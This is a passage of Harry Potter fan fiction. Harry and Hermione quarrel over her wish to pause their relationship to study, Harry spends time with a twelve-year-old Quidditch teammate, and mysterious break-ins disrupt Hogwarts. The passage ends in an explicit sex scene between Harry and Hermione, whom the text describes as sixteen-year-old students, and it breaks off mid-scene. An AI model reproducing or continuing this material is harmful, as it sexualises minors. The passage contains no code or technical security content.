plenty of time together this summer at the Dursleys.&quot;<br>\n\n<br> Hedwig ruffled her feathers up and looked disgusted at the idea of going to back to the Dursleys again. <br>\n\n<br> &quot;I don\'t think Ron or Ginny will even have us at The Burrow for a week or two. Ron\'s kind of upset about a lot of things right now and I don\'t blame him. I just . . . I miss him. As much as I love Hermione, it\'s not the same. I really thought . . . I don\'t know what I was thinking. I didn\'t think falling in love with her would change absolutely everything,&quot; Harry told his owl. <br>\n\n<br> She made soft, soothing sounds and stood quite still on his arm as he stroked her feathers. The look in her eyes made him realize he should have known better. Of course this was going to change everything and not only with Hermione or Ron but it changed everything about himself, too. Loving her somehow made everything that had happened in the first part of his life hurt a lot less and now there was nothing he couldn\'t survive if it meant getting back to her. <br>\n\n<br> &quot;Hello, Harry,&quot; he heard from behind him and he didn\'t even have to look to know whose voice it was. Hedwig turned her head to look and then turned back to Harry, giving him a soft hoot.<br>\n\n<br> &quot;Come by at breakfast tomorrow. I\'ll save some toast for you,&quot; Harry said to Hedwig before she took off towards the Owlery, leaving him alone with Hermione. <br>\n\n<br> &quot;Did you get the supplies you needed?&quot; Harry asked, turning to face her. <br>\n\n<br> &quot;You didn\'t have to leave Hogsmeade. You could have come with us. I don\'t want you to feel like . . .&quot;<br>\n\n<br> &quot;I wanted to be alone for a while, that\'s all,&quot; Harry said and Hermione said nothing more. She knew him well enough now to know that sometimes he just needed to be left alone. She took a step away from him but before she could retreat entirely, he asked her, &quot;You want to take a walk? Go to the lake?&quot;<br>\n\n<br> Hermione nodded and he took her hand in his as they walked silently to the lake. They ended up at their usual spot and after they sat down, she finally spoke again. &quot;That didn\'t go at all well, did it?&quot; <br>\n\n<br> &quot;It wasn\'t exactly what I had planned,&quot; Harry answered, staring out over the dark water. <br>\n\n<br> &quot;Maybe it\'s time we do away with any plans,&quot; Hermione said, letting go of his hand. &quot;Maybe it\'s time we slow this whole thing down.&quot;<br>\n\n<br> &quot;What?&quot; Harry asked, his head snapping around to face her. <br>\n\n<br> &quot;I\'m just suggesting that perhaps we should take a little time off from this,&quot; she said and he could feel his heart break . . . no, shatter in his chest. What was she saying? He couldn\'t quite make his brain comprehend any of it.<br>\n\n<br> &quot;You want to break up?&quot;<br>\n\n<br> &quot;Not exactly.&quot;<br>\n\n<br> &quot;Is this because of what Malfoy said earlier because if it is, I\'ll . . &quot;<br>\n\n<br> &quot;No, Harry. This has nothing to do with that at all,&quot; Hermione said, but she didn\'t sound very convincing. <br>\n\n<br> &quot;I don\'t believe you,&quot; Harry said, trying hard to keep his voice from breaking. Hermione let out a sigh and shook her head at him. <br>\n\n<br> &quot;I have to catch up on my studies, Harry. I\'ve been falling behind lately plus there\'s your Quidditch. You need to focus on the next big match and on your studies. And I have to start preparing for the N.E.W.T.s for next year and planning what I\'ll need to do this summer to study . . . and will you stop looking at me like that?&quot; she asked. <br>\n\n<br> &quot;Like what?&quot; he asked, his voice so flat that he didn\'t even recognize it. <br>\n\n<br> &quot;Like I just broke your heart.&quot;<br>\n\n<br> &quot;I think you might have.&quot;<br>\n\n<br> &quot;I didn\'t mean to,&quot; she said softly, trying to take his hand in hers. He pulled it away and tucked both of his hands into his cloak. He could feel his wand in there and wondered briefly about a spell that would make him disappear or something that could turn back time ten minutes. That was hopeless. He wasn\'t that good of a wizard and apparently he wasn\'t that good of a boyfriend, either. <br>\n\n<br> &quot;If it isn\'t because of Malfoy, what happened to prompt this?&quot; he had to ask. &quot;Did I do something wrong this afternoon?&quot;<br>\n\n<br> &quot;No, not at all. I was just discussing some of my recent marks with Padma and . . . Harry! She\'s doing better than I am!&quot; Hermione said, making it sound like this was the worst thing that could possibly happen in the world. <br>\n\n<br> &quot;And you somehow realized that if you didn\'t have a boyfriend, everything would get better?&quot; Harry asked, his voice not hiding his frustration.<br>\n\n<br> &quot;It\'s just for a few weeks, Harry. We\'re not breaking up. I just need to catch up on my class work, that\'s all,&quot; she said, making it sound incredibly simple. <br>\n\n<br> &quot;There are some things you can\'t take back. Once they\'re done, they\'re done,&quot; he said and she looked at him, puzzled. &quot;How am I supposed to be just friends with you again after everything? I\'ve lost Ron as a friend and now I\'m losing you. If I would have know, I never would have . . .&quot;<br>\n\n<br> Hermione looked crushed when he said that. Somehow, he would have cared more but this was all her idea anyway. How could he be sure that in a few weeks, things would get better? And it hurt that a couple of marks on some papers meant more than he did.<br>\n\n<br> &quot;Harry . . .&quot;<br>\n\n<br> &quot;You\'re right. This will give me time to get the team ready for the next match. I haven\'t been a very good captain lately and now I\'ll have the time to make up more drills for us to run through. Thank you for this. I think you just might be right,&quot; he said, standing up. <br>\n\n<br> Anything she might have said next was stopped when they noticed a large number of the owls from the school flying overhead towards Hogsmeade. <br>\n\n<br> &quot;Something must be happening,&quot; he said, searching the sky. It wasn\'t long before Hedwig swooped down, carrying a note addressed to both of them. Harry read it quickly and then handed it to Hermione. &quot;We need to go back to the castle immediately. That\'s all it says but I can\'t imagine that they\'d call us back immediately if it was something good.&quot;<br>\n\n<br> &quot;Nothing has happened here in a long time. What could it be?&quot; she asked as they started their walk back towards the castle, Hedwig flying directly overhead, keeping an eye on them.<br>\n\n<br> &quot;I don\'t know,&quot; Harry said with a shrug, finding it an odd coincidence that the moment Hermione decided to . . . break up or whatever that was . . . that something bad would happen again. <br>\n\n<br> **************<br>\n\n<br> The Gryffindor common room was buzzing with students asking what was going on. Harry sat on the far side of the room while Hermione took a seat at the table. When Ron finally showed up, he didn\'t sit near either of them but instead settled down near the fireplace.<br>\n\n<br> Not much time had passed before Professor McGonagall stepped through the portrait hole and students quieted down immediately, waiting for her to speak. <br>\n\n<br> &quot;There has been an intrusion in the castle,&quot; she said and everyone started whispering. Some of them turned to cast a quick glance at Harry but he didn\'t care. They always looked his way when something happened. Why should this time be any different? Harry caught Hermione staring at him for just a second before she looked away.<br>\n\n<br> Professor McGonagall held her hand up to quiet them down again and the room fell still. <br>\n\n<br> &quot;Were they caught?&quot; Colin Creevy asked, fingering his camera. &quot;Did anyone see who it was?&quot;<br>\n\n<br> &quot;No, I\'m afraid not. As you all know, we have added special security measures on the castle since . . .&quot; she started to say, her eyes traveling over to Harry now, too. He looked down at his feet. Maybe this place really would be better off without him. At this moment, he certainly felt like running away but he had no place to go. &quot;. . . the intruder was in one of the old storage rooms. We did find several blankets and a few pillows hidden away in the room so we think the perpetrator might be trying to stay in the castle.&quot;<br>\n\n<br> With that, Harry and Hermione looked at each other and Harry couldn\'t help but notice the blush rising up to her cheeks. They never did go back to that storage room to retrieve the items they left there on Valentine\'s Day and now someone had found them. Not only that but the room was broken into by an outsider and that seemed far too coincidental to Harry. <br>\n\n<br> &quot;I can assure you that the castle has been searched from top to bottom and there\'s no one here who doesn\'t belong,&quot; Professor McGonagall said but that didn\'t seem to relax anyone. <br>\n\n<br> &quot;I knew it was going too well this year,&quot; a third year muttered, casting a quick glance in Harry\'s direction. <br>\n\n<br> &quot;Tell me about it. I thought maybe this year . . .&quot; someone else started to add before they noticed Harry was watching them. <br>\n\n<br> &quot;No one is to be blamed for this,&quot; McGonagall added, casting a silencing glance at the students Harry was staring at. &quot;We all know that things are happening that no one has any control over. I want to assure you that you are all safe at Hogwarts.&quot;<br>\n\n<br> Harry sighed, knowing somehow that wasn\'t exactly true anymore. None of them were going to be safe anywhere and he couldn\'t help but blame himself. As soon as McGonagall left, Harry hurried up to his room before anyone could say a word to him and crawled into his bed, happy to fall asleep and escape this miserable day. <br>\n\n<br> ***********<br>\n\n<br> Arriving late for breakfast, Harry sat alone at one end of the long table, picking at some sausages he had no intentions of ever eating. Hermione was further down the table, staring intently at a book. She did smile at him when he came in and motioned for him to sit down next to her but if she wanted time to study, he was going to give it to her. Ron was at the far end of the table, laughing about something with Ginny and Seamus while they ate. Luna Lovegood tried to sit down near him but walked back to the Ravenclaw table when he didn\'t pay any attention to her. No one knew that Hermione wanted to stop seeing him for a while so she could study and he didn\'t feel like telling him now. <br>\n\n<br> Instead, he pushed his plate away and pulled out a scroll, his quill and some ink. If Hermione was going to spend this time studying, he was going to work on a schedule for Quidditch practice. Maybe he would even come up with some new moves for the team to try out. After a few minutes went by, he was still staring at a blank scroll, rolling his quill between his fingers. <br>\n\n<br> &quot;Hey there, Harry,&quot; a soft voice said and Harry looked up to find Zoila Witherite standing on the other side of the table, several scrolls tucked in her arms. <br>\n\n<br> &quot;Hi, Zoila,&quot; Harry said without much feeling. He didn\'t really want to be bothered right now and he hoped she\'d be able to tell that by the tone of his voice or the look on his face. <br>\n\n<br> &quot;Can I sit down?&quot; she asked, nodding at the table. <br>\n\n<br> &quot;This really isn\'t the best time . . . I\'m working on . . .&quot; but before he could finish, the second year student sat down and smiled brightly at him. <br>\n\n<br> &quot;I\'ve been working on a few things but you never seem to be alone so I haven\'t had a chance to discuss -- well, it would just be better if I showed you rather than told you anyway. I\'m so glad to finally get a chance to talk to you about some of this,&quot; Zoila said, still carrying on as she unrolled a few of the scrolls in front of him. They were covered with Quidditch moves . . . hundreds of them. <br>\n\n<br> Harry\'s eyes moved from diagram to diagram, wondering exactly how long she had been working on some of these. They were all in great detail and he couldn\'t help but to mutter a soft &quot;Wow.&quot;<br>\n\n<br> &quot;Oh! Hold on!&quot; Zoila said, pulling out her wand. With a simple charm, she sent all the diagrams into motion and after a minute, Harry had to look away to give his eyes a rest. He met Zoila\'s eyes briefly and then she went back into another lengthy discussion about one of her drawings. Harry had to smile because she reminded him so much of Hermione back at that age . . . only Zoila seemed to know everything about Quidditch and not spells and potions. She was also an unusual girl in the fact that she was the only other person he had met besides Madam Hooch who had yellow eyes and Harry never got around to asking if they were related in some way. That would certainly explain Zoila\'s talent on a broom. <br>\n\n<br> It was then that Harry noticed Ron walking by, craning his neck around to see the sketches but quickly going on his way. He was soon followed by Hermione who kept her nose in a book although she did give him a quick glance before she left the hall. He fought the urge to wave to her and only Zoila\'s silence brought his thoughts back to what was before him which wasn\'t easy. He really wanted to gather up his supplies and chase Hermione down the corridor. <br>\n\n<br> &quot;I . . . do you think any of this will help during the next match?&quot; Zoila asked shyly. <br>\n\n<br> &quot;We\'ll have to try some of them out at the next practice,&quot; Harry said, rolling up his own scroll and putting his quill away. &quot;Why don\'t you pick out a few that you think we could really use and we\'ll talk about it later.&quot;<br>\n\n<br> &quot;This evening in the common room?&quot; she asked, sounding quite happy by that prospect.<br>\n\n<br> &quot;Yes . . . that will work,&quot; Harry said, distracted by the time and the fact that he\'d never catch up with Hermione now. <br>\n\n<br> **************<br>\n\n<br> &quot;How do you know so much about Quidditch? You know more than anyone I\'ve ever met before,&quot; Harry said. He knew children who grew up in wizard families naturally knew more about the game than children who grew up with Muggle parents but Zoila seemed to know everything. They sat together in the common room looking over her many notes and diagrams. <br>\n\n<br> Zoila looked down at the scrolls before her and a slight blush rose to her cheeks. &quot;My mum is a Chaser for the Appleby Arrows and my dad works in the team\'s front office. I\'ve been around Quidditch my whole life.&quot;<br>\n\n<br> &quot;That must have been nice,&quot; Harry said with a sigh. It certainly sounded wonderful compared to what he spent most of his life around. <br>\n\n<br> &quot;I learned a lot and my mum and dad help with any questions I might have. They were so proud when I made the team in my second year here. They brag to anyone who stands still long enough to listen all about how their daughter made the team and how the Gryffindor captain is Harry Potter himself. They supported you, you know. Last year when no one believed you,&quot; Zoila said and for some reason this made Harry a bit nervous. He shifted around in his seat and she looked up at him. <br>\n\n<br> &quot;They should be very proud of you no matter who\'s the team captain because you\'re an excellent Chaser,&quot; Harry said, and Zoila smiled a crooked little smile. He looked away to find Hermione sitting on the other side of the room with her nose in a book. He had been so involved working on new maneuvers that he didn\'t even notice her come in through the portrait hole. <br>\n\n<br> Hermione\'s eyes came up over the top of the book and met his. Then, looking over at Zoila, her eyes narrowed and her expression grew cold. He wanted to remind her that it was her idea that they spend less time together so she could study and that meant he could talk to anyone he wanted to during that time. Then he wanted to remind her that he missed her desperately and going over Quidditch maneuvers with a second year didn\'t even come close to spending five minutes alone with her. But instead of doing either, he simply watched her from across the room as she returned to reading her book. <br>\n\n<br> &quot;Are you two . . . did something happen?&quot; Zoila asked, reaching over to touch his arm and shake him out of his thoughts. <br>\n\n<br> &quot;I\'d rather not talk about it,&quot; Harry said, pulling away from her touch. <br>\n\n<br> &quot;Oh. I\'m sorry. Harry, if, you know, you ever need someone to talk to, I\'m here. I know, I know . . . you\'re thinking why would I talk to a second year, you know, about these things but just in case . . . you know . . .&quot; Zoila started babbling away, sounding very much like an ordinary twelve year old. <br>\n\n<br> &quot;I\'m fine,&quot; Harry said, not feeling very fine at all. <br>\n\n<br> &quot;Oh. Okay. Some of my friends are over there and I\'m going to go talk to them. See you later, Harry,&quot; she said, getting up to move to a table where a group of second years were working on their homework. The sight of them made Harry miss the hours Hermione, Ron and he would spend sitting around a table working on their homework together and it made him feel quite alone. He wasn\'t sure how things got like this so quickly. <br>\n\n<br> All he was certain of was if he could go back and erase everything that had happened with Hermione in the last few months, he would if it meant they could all be friends again. <br>\n\n<br> *************<br>\n\n<br> It was Saturday morning and Harry sat alone at breakfast in the Great Hall once again, his Firebolt at his side. Today was their match against Ravenclaw and his stomach was doing flip flops as he reviewed all the new moves the team had been working on. He had no reason to be so worried since they practiced so much in the last few weeks but still, he was. <br>\n\n<br> &quot;Hey, Harry,&quot; Cho Chang said as she walked by with some of her fellow housemates. She was dressed in her Quidditch robes already and carried her broom in her hand. &quot;Good luck today.&quot;<br>\n\n<br> &quot;Good luck to you, too, Cho,&quot; Harry said, smiling at the girl who used to make his stomach feel all fluttery inside. Now there was only two things that did that to him: a tough Quidditch match and Hermione. <br>\n\n<br> Just as he thought of her, she walked through the door, her eyes scanning the Gryffindor table quickly until she spotted him. She walked towards him and he pushed aside his plate of uneaten sausages and eggs. <br>\n\n<br> &quot;I just wanted to wish you the best of luck today,&quot; she said, standing rather stiffly directly across the table. <br>\n\n<br> &quot;Thank you,&quot; he said, sounding as nervous as his stomach felt. He had been so anxious to talk to her for days but he didn\'t want to press his luck and interrupt her studies. Instead, whenever he wanted desperately to talk to her, he\'d call for a Quidditch practice instead to take him mind off of everything. &quot;Would you like to sit down?&quot;<br>\n\n<br> &quot;Only if you\'re not busy,&quot; she said, looking at all the scrolls before him.<br>\n\n<br> &quot;Oh, no. I\'m not busy at all,&quot; he said, quickly clearing everything from the table. &quot;How\'s the studying coming along?&quot;<br>\n\n<br> &quot;Great, actually. My marks have improved drastically,&quot; Hermione answered, sitting down and pouring herself some pumpkin juice.<br>\n\n<br> &quot;Oh.&quot; <br>\n\n<br> &quot;I noticed you\'ve been practicing Quidditch quite a bit. I hope you aren\'t ignoring your class work, Harry. You know how important it is,&quot; she said and he wanted to smile because she sounded just like the Hermione he knew so well. <br>\n\n<br> &quot;My marks have been okay,&quot; he said with a shrug. He didn\'t really feel like discussing class work with her. Instead, he really wanted to ask if she missed him as much as he missed her. He wanted to know if being apart kept her awake at night thinking about the last time they were together. <br>\n\n<br> He didn\'t get the opportunity to discuss any of that either because it was time for the mail and a package so large and cumbersome that it required two large barn owls to carry it was dropped in front of Hermione. <br>\n\n<br> She looked rather surprised that she would be receiving something at all and she looked up at Harry. &quot;You didn\'t send me something, did you?&quot; she asked, a touch of hopefulness in her voice that he didn\'t miss. <br>\n\n<br> &quot;No,&quot; he said, feeling rather stupid that he hadn\'t thought of sending her a gift over the last few weeks. He had spent too much time pouting over the whole situation instead of thinking of something that could persuade her to give up this thing about studying and come back to him. <br>\n\n<br> She quickly pulled the note from the package and opened it, reading it carefully. Her face paled as she shoved the note back in its envelope just as quickly. <br>\n\n<br> &quot;Who is it from?&quot; Harry asked. &quot;Aren\'t you going to open it?&quot;<br>\n\n<br> &quot;It\'s from Drew,&quot; she said, not making a move towards the package at all. <br>\n\n<br> &quot;Oh.&quot;<br>\n\n<br> &quot;He asked my parents to send it to me. A gift because he misses me,&quot; Hermione added and Harry couldn\'t really tell by the tone of her voice how this made her feel though he knew without a doubt how it made him feel. <br>\n\n<br> &quot;Oh,&quot; Harry said again. &quot;I thought that was over.&quot;<br>\n\n<br> &quot;Really, Harry, I didn\'t ask for him to send it. And you\'re hardly one to complain considering how much time you\'ve been spending with . . . what is her name again?&quot; Hermione asked. Now he could read the tone of her voice very well and she was getting upset. <br>\n\n<br> &quot;Whose name?&quot; he asked, drawing a complete blank.<br>\n\n<br> &quot;Hey, Harry! Ready for today\'s match?&quot; Zoila Witherite asked from behind Hermione. <br>\n\n<br> &quot;Her name,&quot; Hermione said and before Harry could say anything else, Hermione grabbed her package and was off. He wanted to chase after her but he couldn\'t right now. There just wasn\'t enough time.<br>\n\n<br> &quot;Did I do something wrong?&quot; Zoila asked, sitting down in the spot Hermione just vacated. The rest of the Quidditch team was now here, except Ron, and they filled in the empty spaces around Harry, all of them grabbing for food and pouring themselves pumpkin juice. <br>\n\n<br> &quot;No, you didn\'t do anything. Since we\'re all together, we might as well go over some plays,&quot; Harry said, sounding rather dismal. He forced himself to push any thoughts of Hermione away for now and concentrate only on the match before them. <br>\n\n<br> ***************<br>\n\n<br> Harry couldn\'t believe what he was hearing. It had been years since the last time this happened and he couldn\'t believe it was happening again. They were calling off the Quidditch match and he tried hard to listen to what Professor McGonagall was saying but he couldn\'t move past that the match was canceled after all the work they put into it. Not only that, but they were ahead of Ravenclaw by forty points and he was certain he had just spotted the Snitch right before the whistle blew. He forced himself to listen past the protestations going on in his own head. <br>\n\n<br> The entire student body was gathered in the Great Hall as Professor McGonagall went over the latest break in at Hogwarts. This time it happened in the Gryffindor tower. In the sixth year girls\' dorm to be specific. Hermione\'s dorm room. She was sitting with her roommates at the far end of the table and Lavender looked quite nervous about the whole ordeal. <br>\n\n<br> It had happened while they were at the match (though Hermione wasn\'t in the stands but rather in the library at the time) and they quickly called the game off to account for all the students and to make sure they were safe. <br>\n\n<br> &quot;I assure you we\'ve taken every measure possible to make sure this doesn\'t happen again,&quot; the professor said and a first year Gryffindor student raised his hand. &quot;Yes, Emrys?&quot;<br>\n\n<br> &quot;Did they just apparate in or how . . .&quot; the young student started to ask but the older students chuckled at his question. <br>\n\n<br> &quot;Surely everyone knows you cannot apparate in to Hogwarts,&quot; Harry heard Hermione answer from down the table and Emrys\' face turned a vivid shade of magenta. <br>\n\n<br> &quot;Yes, we\'re unsure of how they got in or out so quickly. From now on, there will be a strict curfew and I would ask that until we can resolve this matter, you use caution when traveling around the castle. Try to have a classmate with you if at all possible. And as a precaution we\'re going to have all the Gryffindors spend the night in the Great Hall. The other houses are dismissed with the exception of the prefects and head girl and boy. Will you please come talk to me once we get the students settled? Professors, please lead your house back to their towers and then return here as soon as possible,&quot; Professor McGonagall said and the other houses began to file out of the hall, all of them murmuring about how this could have possibly have happened. <br>\n\n<br> He watched as a very disappointed Cho walked past him with her teammates, each of them looking exactly like Harry felt at the moment (or perhaps worse since their team had been losing.) At least they could go to their rooms and sulk privately. He had to do it in a room full of people. The rest of his team must feel the same way because none of them were speaking to each other for now. Maybe later he\'d gather them together and use this time to go over more plays but for now, he just wanted to sit here and be upset. <br>\n\n<br> ************<br>\n\n<br> Nearly bored to sleep, Harry was startled into alertness by someone sitting down across from him rather noisily. <br>\n\n<br> &quot;We\'ll get them next time, Harry,&quot; Ron, still in his Quidditch robes, said with a sincere look on his face. Harry had grown accustomed to him only looking disappointed and sullen in his presence lately and perhaps someone else\'s misery was just what Ron needed to get over it. Chances are since it was Harry\'s misery, Ron was feeling even even better. <br>\n\n<br> &quot;It should be rescheduled soon,&quot; Harry said though no one had even discussed if the match would go on or not. <br>\n\n<br> &quot;I\'m sorry about Hermione, too. Tough break,&quot; Ron added, not sounding as sincere as he did a second ago. <br>\n\n<br> &quot;We\'ll work it out,&quot; Harry mumbled, unsure how they would ever work it out since they had the rest of this year to go through and all of next year and that meant Hermione would have plenty of school work to worry about. <br>\n\n<br> After that, they sat in silence, neither one of them sure what to say. Harry found it hard to believe that just a few months ago, the three friends sat in this very spot discussing Christmas presents and now. . . now look at them. He also found it hard to believe that not that long ago, he and Hermione thought they could have sex just once and it wouldn\'t change anything. Instead, it changed absolutely everything. <br>\n\n<br> It was then that he noticed Hermione talking to one the head boy. She nodded her head a few times and then headed toward the door. So far, none of them had even asked to go to the bathroom but he assumed it had to happen sooner or later. Then he thought that this would perhaps be a good chance to talk to Hermione about this morning and about Zoila.<br>\n\n<br> &quot;I\'ll be back in a few minutes. Watch my broom,&quot; Harry said, leaving Ron at the table looking rather puzzled until he saw Hermione open the door and go out. Then he looked disappointed and sullen again. <br>\n\n<br> Harry asked a Hufflepuff prefect standing nearest to the table if he could be excused to go to the bathroom and before she even had the chance to say yes or no, he was out the door and following Hermione. <br>\n\n<br> Only, Hermione wasn\'t going towards the bathroom but rather she was heading towards the stairs. He caught up to her in front of the portrait of the Fat Lady who didn\'t look to pleased to see them. There was a dour looking witch in the frame with her and they obviously disturbed their chat.<br>\n\n<br> &quot;Harry, what are you doing here?&quot; Hermione asked.<br>\n\n<br> &quot;McGonagall said we shouldn\'t travel around the castle alone -- and what are you doing here?&quot; Harry asked back.<br>\n\n<br> &quot;What are either of you doing here?&quot; the Fat Lady asked. &quot;I\'m not supposed to allow any students in until further notice.&quot;<br>\n\n<br> &quot;Let them in already,&quot; the other witch in the picture said in an exasperated tone. &quot;I don\'t know how you can stand this job. People bothering you at all hours . . .&quot;<br>\n\n<br> &quot;I can\'t let you in,&quot; the Fat Lady said, shushing her friend. <br>\n\n<br> &quot;Oh, please let me in. I really have to get my textbooks. I have a paper due in Arithmancy and that was the only book I didn\'t have with me when I was in the library and I need it,&quot; Hermione pleaded and Harry rolled his eyes. <br>\n\n<br> &quot;When is your paper due?&quot; the Fat Lady asked and Harry knew that Hermione\'s answer of \'Monday\' was a lie by the look on her face. <br>\n\n<br> &quot;Will you let her in if I go with?&quot; Harry asked on Hermione\'s behalf. Hermione looked surprised by the gesture. <br>\n\n<br> &quot;Let them go and get it over with. If they die, they die,&quot; the other witch said and the Fat Lady tried to quiet her again. <br>\n\n<br> &quot;I don\'t know . . .&quot; the Fat Lady said.<br>\n\n<br> &quot;We both have our wands with us. It will be okay,&quot; Harry said, pulling his wand from his Quidditch robes. He was sure that anything on the other side of the portrait hole couldn\'t possibly compare to what he had already seen in the last few years. <br>\n\n<br> &quot;Yes, we\'ll be okay if we\'re together,&quot; Hermione added, sounding desperate now. <br>\n\n<br> &quot;On second thought, the two of them do look like troublemakers,&quot; the witch said and this time the Fat Lady pushed her out of the frame.<br>\n\n<br> &quot;Password?&quot; the Fat Lady finally asked and relief washed over Hermione\'s face. <br>\n\n<br> &quot;Winsome,&quot; she said and the portrait opened and Harry followed her into the common room. <br>\n\n<br> &quot;You went through all of that for a book?&quot; Harry asked, looking around. &quot;And how did you know no one would be up here?&quot; <br>\n\n<br> &quot;All the professors were in the Great Hall and Filch, too, so I assumed they were finished up here. Are you coming with so you can keep me safe?&quot; she said with a quick eye roll before heading towards the stairway to the girls\' dormitory rooms. <br>\n\n<br> &quot;Am I still a girl?&quot; Harry asked and Hermione gave him a questioning glance until she realized what he was talking about.<br>\n\n<br> &quot;Of course you are.&quot;<br>\n\n<br> Harry followed her up, taking this opportunity to ask about her package from this morning. &quot;So, what did Drew send you?&quot; <br>\n\n<br> &quot;Why do you care so much?&quot; Hermione asked as they reached the door to the room. <br>\n\n<br> &quot;I don\'t care. I was just curious.&quot;<br>\n\n<br> &quot;And jealous. I don\'t know why you would be since you seemed to have moved on just fine,&quot; Hermione said. Harry followed her into the room and his eyes began scanning around, looking for the package she received this morning. He couldn\'t see it anywhere. <br>\n\n<br> &quot;What?&quot; he asked as she went through her books, taking much more than her Arithmancy book from the pile. <br>\n\n<br> &quot;You\'ve moved on. I told you that this would just be for a while and somehow, you managed to meet someone else,&quot; Hermione said, sounding as if she might start crying at anytime now. <br>\n\n<br> &quot;Who did I meet?&quot; Harry asked. <br>\n\n<br> &quot;That girl you\'re always with. The one you\'re always going out to Quidditch practice with. The one with the yellow eyes,&quot; she said, turning away from him while pretending to flip through a book. <br>\n\n<br> &quot;Zoila Witherite?&quot;<br>\n\n<br> &quot;Is that her name?&quot; asked although Harry was sure Hermione already knew her name.<br>\n\n<br> &quot;Are you kidding?&quot; Harry asked, unable to believe that Hermione thought he moved on that quickly. And with a twelve year old. <br>\n\n<br> &quot;You\'re always together.&quot;<br>\n\n<br> &quot;Hermione, she\'s twelve years old,&quot; Harry said, his voice going up a pitch, upset that this was even coming up. <br>\n\n<br> &quot;And you\'re Harry Potter,&quot; Hermione said, turning around to face him. <br>\n\n<br> &quot;What\'s that supposed to mean?&quot; Harry asked, not sure how his identity made a difference in this situation. <br>\n\n<br> &quot;If I were a twelve year old girl, I\'d want to hang out with Harry Potter,&quot; Hermione said. <br>\n\n<br> &quot;When you were a twelve year old girl, you did hang out with him. . . . I mean me,&quot; Harry said. <br>\n\n<br> &quot;But now you\'re sixteen and Quidditch captain and . . .&quot;<br>\n\n<br> &quot;None of this mattered back when you were seeing Krum. He\'s a world famous Quidditch player and you thought nothing of it. You weren\'t worried about other girls wanting him so why worry now?&quot; Harry asked. <br>\n\n<br> &quot;He wasn\'t really my boyfriend. He was a pen pal,&quot; Hermione said. She tossed her books on the bed and turned away from him. &quot;Besides, back when we were twelve, you were just . . . you were just Harry. You were just my friend and not my boyfriend.&quot;<br>\n\n<br> &quot;I didn\'t know I was your boyfriend now,&quot; he said. He was angry and confused and he still couldn\'t get over that Hermione thought he\'d be interested in Zoila or that she was acting this way over who he was when he had no control over the matter. <br>\n\n<br> &quot;It wasn\'t supposed to be for a long time. Just until I got better marks. I didn\'t think . . .&quot;<br>\n\n<br> &quot;Hermione, I didn\'t meet someone else. And besides that, this was all your plan in the first place. You\'re the one who wanted time to study and I gave it to you. Apparently, you have no bloody clue as to how much I\'ve missed you,&quot; Harry said, walking over to her. He took her arm and turned her around so she would face him.<br>\n\n<br> &quot;You didn\'t say anything. All these weeks you\'ve done nothing but avoid me,&quot; she said. <br>\n\n<br> &quot;That\'s what you wanted,&quot; Harry said, growing more confused as to what Hermione really wanted from him. &quot;You wanted me to avoid you so you could study. You\'re mad at me because I gave you what you wanted?&quot;<br>\n\n<br> &quot;Yes,&quot; she answered. <br>\n\n<br> &quot;I can\'t believe any of this!&quot; Harry said, adding frustration to the muddle of what he was feeling inside. <br>\n\n<br> &quot;You didn\'t look like it was bothering you. We weren\'t together and you simply went on with your life. Quidditch practice seemed more important,&quot; she said with a huff. <br>\n\n<br> &quot;Your studies were more important in the first place, so I don\'t know what you\'re complaining about,&quot; Harry said in turn. <br>\n\n<br> &quot;My studies are important to me, Harry, but you\'re more important,&quot; Hermione said and Harry couldn\'t believe what he was hearing. These were the words he wanted to hear all the weeks they had been apart but now that she was saying them, he didn\'t feel the happiness he imagined he would.<br>\n\n<br> &quot;When did you reach that conclusion? Once your marks were better than Padma\'s? And if you\'re looking for someone to beg you to come back, there\'s always Drew. Judging from the size of the gift he sent, he must miss you terribly,&quot; Harry said and he could tell from the expression on Hermione\'s face that his words stung. <br>\n\n<br> &quot;Maybe he does. And maybe this whole thing with you was a big mistake! I should have never broken up with him and I should have never slept with you!&quot; she shouted at him. <br>\n\n<br> &quot;Is that really how you feel?&quot; Harry asked, his heart beating so fast he could barely hear his own words. <br>\n\n<br> &quot;No, you silly git! Didn\'t you hear what I said. I love you and the rest of it doesn\'t really matter!&quot; she said, taking a cautious step towards him and reaching for his hands. It was then that he realized he had been clutching his wand tightly this whole time. Hermione plucked it from his fingers and tossed it aside. <br>\n\n<br> &quot;Hermione . . .&quot; he started but he forgot what he was going to say as soon as she took his hands in hers and pulled him to her. <br>\n\n<br> &quot;What?&quot; she asked, moving even closer. So close that he could feel her warmth through his Quidditch robe. <br>\n\n<br> &quot;I\'m still mad at you,&quot; he said, trying to pull his thoughts together and not let her distract him too much. That got a lot harder when she kissed him softly. He didn\'t kiss her back. <br>\n\n<br> &quot;And I\'m still mad at you but I\'ve missed you so much,&quot; she said, her words warm against his lips. She released his hands and moved hers to his chest, slowly traveling to his shoulders. He stopped her before she could tug his robes off. <br>\n\n<br> &quot;There\'s no time for that,&quot; he said, using his body to move her closer to the wall. Instead of focusing on his robe, Hermione was now tugging at his pants, trying to unfasten them quickly. When she came to a stop against the cold castle wall, she had a hand inside his pants and pulled him free. The contact made him painfully hard.<br>\n\n<br> &quot;The door --&quot; Hermione started to say. <br>\n\n<br> &quot;No one else would even think of coming up here,&quot; Harry said and Hermione didn\'t say another word about it. <br>\n\n<br> His hands went under her skirt, easing her knickers down until she could step out of them. With her back pressed against the wall, she wrapped her legs around him and he thrust into her. Her fingers were now clutched so tightly to his Quidditch robe he was afraid she might tear the fabric and there would be no way to explain that. There was really no way to explain any of this at this point. A few hours ago they weren\'t talking and now she was around him, so wet and hot he thought he might melt. That would be even harder to explain.<br>\n\n<br> He wasn\'t lying when he said he was still mad at her. She\'d try to kiss him and he would pull away, choosing to watch her face as he pushed into her as hard as he could. He knew he wouldn\'t be able to stay upset for long as she looked into his eyes, her own filled with longing. He wasn\'t ready to see that yet; wasn\'t ready to forget that she made his life hell for the last few weeks. <br>\n\n<br> With a swift movement, he carried her to the bed and set her down gently, breaking their contact. Hermione looked surprised but before she could say anything, he instructed her to turn over. <br>\n\n<br> &quot;Why?&quot; she asked, her voice breaking. <br>\n\n<br> &quot;I want you to,&quot; he answered simply and she did as he asked, ending up in a position she had never been in with him before. He could hear her breathing rapidly now, as if she was scared or nervous. He reached out and caressed her, his fingers touching in a way that made her jump. &quot;Don\'t worry. I would never hurt you . . . I mean, after the first time . . . I would never hurt you intentionally.&quot;<br>\n\n<br> &quot;Will you shut up already! I\'m not worried but you better get back inside of me before I scream,&quot; she said, her back arching when his fingers reached the right spot. &quot;Or you could keep doing that.&quot;<br>\n\n<br> He did just that, enjoying the view of her writhing around as he moved faster. 